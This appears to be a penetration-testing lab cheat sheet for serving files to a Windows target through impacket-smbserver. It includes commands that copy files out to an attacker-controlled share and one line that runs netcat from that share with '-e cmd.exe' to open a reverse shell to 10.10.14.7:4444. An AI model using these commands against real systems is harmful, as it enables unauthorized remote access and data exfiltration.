Impacket SMB Share Cheat Sheet

#Impacket #impacket-smbserver #SMB #smbshare

Basic Setup

Start unauthenticated SMB server:

sudo impacket-smbserver share /path/to/share

Start SMB server with SMB2 support (required for modern Windows):

sudo impacket-smbserver share /path/to/share -smb2support

Share current directory:

sudo impacket-smbserver share . -smb2support

Authenticated Setup

With username and password (recommended for Windows 10+):

sudo impacket-smbserver share . -smb2support -username user -password pass123

Windows Access

View the share:

net view \\10.10.14.7
dir \\10.10.14.7\share

Authenticate first (if using credentials):

net use \\10.10.14.7\share /user:user pass123

Copy file TO Kali:

copy file.txt \\10.10.14.7\share\

Copy file FROM Kali:

copy \\10.10.14.7\share\tool.exe C:\Temp\

Execute directly from share:

\\10.10.14.7\share\nc.exe -e cmd.exe 10.10.14.7 4444

Common Options

• -smb2support - Enable SMB2/3 protocol support
• -username - Set authentication username
• -password - Set authentication password
• -debug - Enable debug output

Troubleshooting

If you get “unauthenticated guest access” errors, restart with authentication enabled .
